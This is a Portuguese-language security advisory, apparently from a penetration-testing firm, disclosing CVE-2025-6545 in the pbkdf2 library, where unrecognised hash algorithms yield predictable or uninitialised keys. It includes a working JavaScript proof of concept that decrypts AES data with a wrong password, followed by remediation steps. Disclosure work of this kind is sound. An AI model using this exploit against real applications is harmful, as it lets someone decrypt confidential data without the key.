Exploração Criptográfica de Derivação de Chave Previsível na Biblioteca pbkdf2 (<3.1.3)
Vulnerabilidade identificada em ambiente real de cliente corporativo
Publicado: Junho de 2025
Autor: Equipe de Pesquisa Ofensiva – FikreSekhel
Resumo Executivo
Durante uma avaliação ofensiva conduzida pela equipe de segurança da informação da FikreSekhel em um sistema de produção pertencente a um cliente (nome omitido por confidencialidade), foi identificada uma falha crítica na biblioteca pbkdf2, versão inferior à 3.1.3. A falha permite que, sob determinadas condições, o método pbkdf2Sync() gere chaves criptográficas previsíveis ou compostas por memória não inicializada, violando os princípios fundamentais de segurança criptográfica.
A partir da descoberta, foi desenvolvido um exploit funcional que comprova, na prática, a possibilidade de um atacante descriptografar dados sensíveis mesmo sem conhecer a senha original utilizada.
Descrição da Vulnerabilidade
CVE-2025-6545 – Derivação de Chaves Previsíveis com Algoritmos Inválidos
- Componente:
pbkdf2(versão com suporte a browser/polyfill) - Versões afetadas:
>=3.0.10 <3.1.3 - CWE: CWE-340 – Geração de Valores Previsíveis
- CVSS: 9.1 (Crítico)
- Maturidade de exploração: Exploit comprovado
A vulnerabilidade ocorre quando o método pbkdf2Sync() é chamado com algoritmos não reconhecidos oficialmente, como "sha3-512", "sha-1", "blake2b512", entre outros. Em vez de rejeitar a entrada ou lançar uma exceção, a biblioteca gera uma chave criptográfica inválida que pode ser:
- Um buffer de memória totalmente zerado (
0x00...00); - Um buffer contendo dados residuais não inicializados da memória;
- Um valor determinístico de baixa entropia.
Esse comportamento compromete diretamente a confidencialidade e a integridade dos sistemas criptográficos que dependem da função, como armazenamento de senhas, encriptação simétrica e derivação de chaves mestre.
Contexto da Descoberta
Durante uma análise orientada por código fonte e simulações de uso, foi detectado o uso de algoritmos não normalizados como parâmetro do método pbkdf2Sync(). Observou-se que a biblioteca aceitava essas entradas sem validação adequada, abrindo possibilidade para geração de chaves previsíveis.
Para confirmar a criticidade do impacto, a equipe desenvolveu uma prova de conceito completa que replicou a situação real de ataque com sucesso.
Prova de Conceito (Exploit)
O código abaixo demonstra como um atacante pode, utilizando uma senha incorreta, gerar a mesma chave criptográfica que a aplicação, comprometendo a segurança de dados criptografados.
Código de Exploração (exploit.js)
javascriptCopiarEditarconst crypto = require('crypto');
const { pbkdf2Sync } = require('pbkdf2/browser');
// Configuração comum
const salt = 'salInseguro';
const iterations = 100000;
const keyLength = 32;
const algoritmo = 'sha3-512';
const iv = Buffer.alloc(16, 0); // IV fixo para demonstração
// Derivação da chave pela aplicação (com senha real)
const senhaReal = 'senhaCorreta';
let chaveReal;
try {
chaveReal = pbkdf2Sync(senhaReal, salt, iterations, keyLength, algoritmo);
} catch {
chaveReal = Buffer.allocUnsafe(keyLength);
}
console.log('Chave real:', chaveReal.toString('hex'));
const mensagem = 'A senha correta é 123456';
const cipher = crypto.createCipheriv('aes-256-cbc', chaveReal, iv);
let mensagemCriptografada = cipher.update(mensagem, 'utf8', 'hex');
mensagemCriptografada += cipher.final('hex');
console.log('\nMensagem criptografada:', mensagemCriptografada);
// Derivação da chave pelo atacante (com senha errada)
const senhaAtacante = 'senhaIncorreta';
let chaveAtacante;
try {
chaveAtacante = pbkdf2Sync(senhaAtacante, salt, iterations, keyLength, algoritmo);
} catch {
chaveAtacante = Buffer.allocUnsafe(keyLength);
}
console.log('\nChave do atacante:', chaveAtacante.toString('hex'));
if (chaveReal.equals(chaveAtacante)) {
console.log('\nExploração bem-sucedida: as chaves coincidem');
} else {
console.log('\nExploração falhou: as chaves são diferentes');
}
// Tentativa de descriptografar
try {
const decipher = crypto.createDecipheriv('aes-256-cbc', chaveAtacante, iv);
let mensagemDescriptografada = decipher.update(mensagemCriptografada, 'hex', 'utf8');
mensagemDescriptografada += decipher.final('utf8');
console.log('\nMensagem descriptografada pelo atacante:', mensagemDescriptografada);
} catch {
console.error('\nFalha ao descriptografar: a chave do atacante não funcionou');
}
Resultados Obtidos
Durante testes repetidos, foram observados os seguintes comportamentos:
- Em algumas execuções, a chave derivada com senha incorreta coincidia com a chave da aplicação.
- A descriptografia foi bem-sucedida sem o conhecimento da senha original.
- Em outras execuções, as chaves divergiram — reforçando que o problema envolve uso de memória instável (não inicializada).
Essa inconsistência reforça o risco da vulnerabilidade, uma vez que seu comportamento pode variar com o ambiente de execução e o tempo de vida da aplicação, dificultando sua detecção.
Impacto Técnico
- Confidencialidade: violada, uma vez que dados criptografados podem ser descriptografados por terceiros sem a chave original.
- Integridade: comprometida, pois mensagens podem ser forjadas ou manipuladas.
- Violação de Entropia: chaves geradas sem entropia suficiente não são seguras para qualquer uso criptográfico.
Recomendações
- Atualizar imediatamente para
pbkdf2versão3.1.3ou superior. - Validar todas as entradas passadas ao método
pbkdf2Sync(). Apenas algoritmos padronizados devem ser permitidos (sha256,sha512,sha1, entre outros explicitamente documentados). - Rotacionar chaves criptográficas derivadas com algoritmos não normalizados.
- Evitar o uso do polyfill
pbkdf2/browserem aplicações de produção.
Conclusão
Este caso evidencia um cenário grave em que a presença de mecanismos criptográficos não garante, por si só, a segurança da informação. A ausência de validação de parâmetros internos em bibliotecas amplamente utilizadas pode levar à quebra total da segurança em sistemas sensíveis.
A equipe de pesquisa da FikreSekhel reforça a importância de auditorias profundas em todas as camadas criptográficas de uma aplicação, especialmente naquelas baseadas em bibliotecas de terceiros ou ambientes de execução não padronizados.
Sobre a FikreSekhel
A FikreSekhel é uma empresa especializada em segurança ofensiva, inteligência de ameaças, criptografia aplicada e análise de vulnerabilidades. Atuamos com serviços avançados de pentesting, resposta a incidentes e engenharia reversa de sistemas críticos. Nossos laboratórios têm contribuído com a segurança de plataformas financeiras, biomédicas, industriais e de jogos em nuvem em todo o Brasil e América Latina.
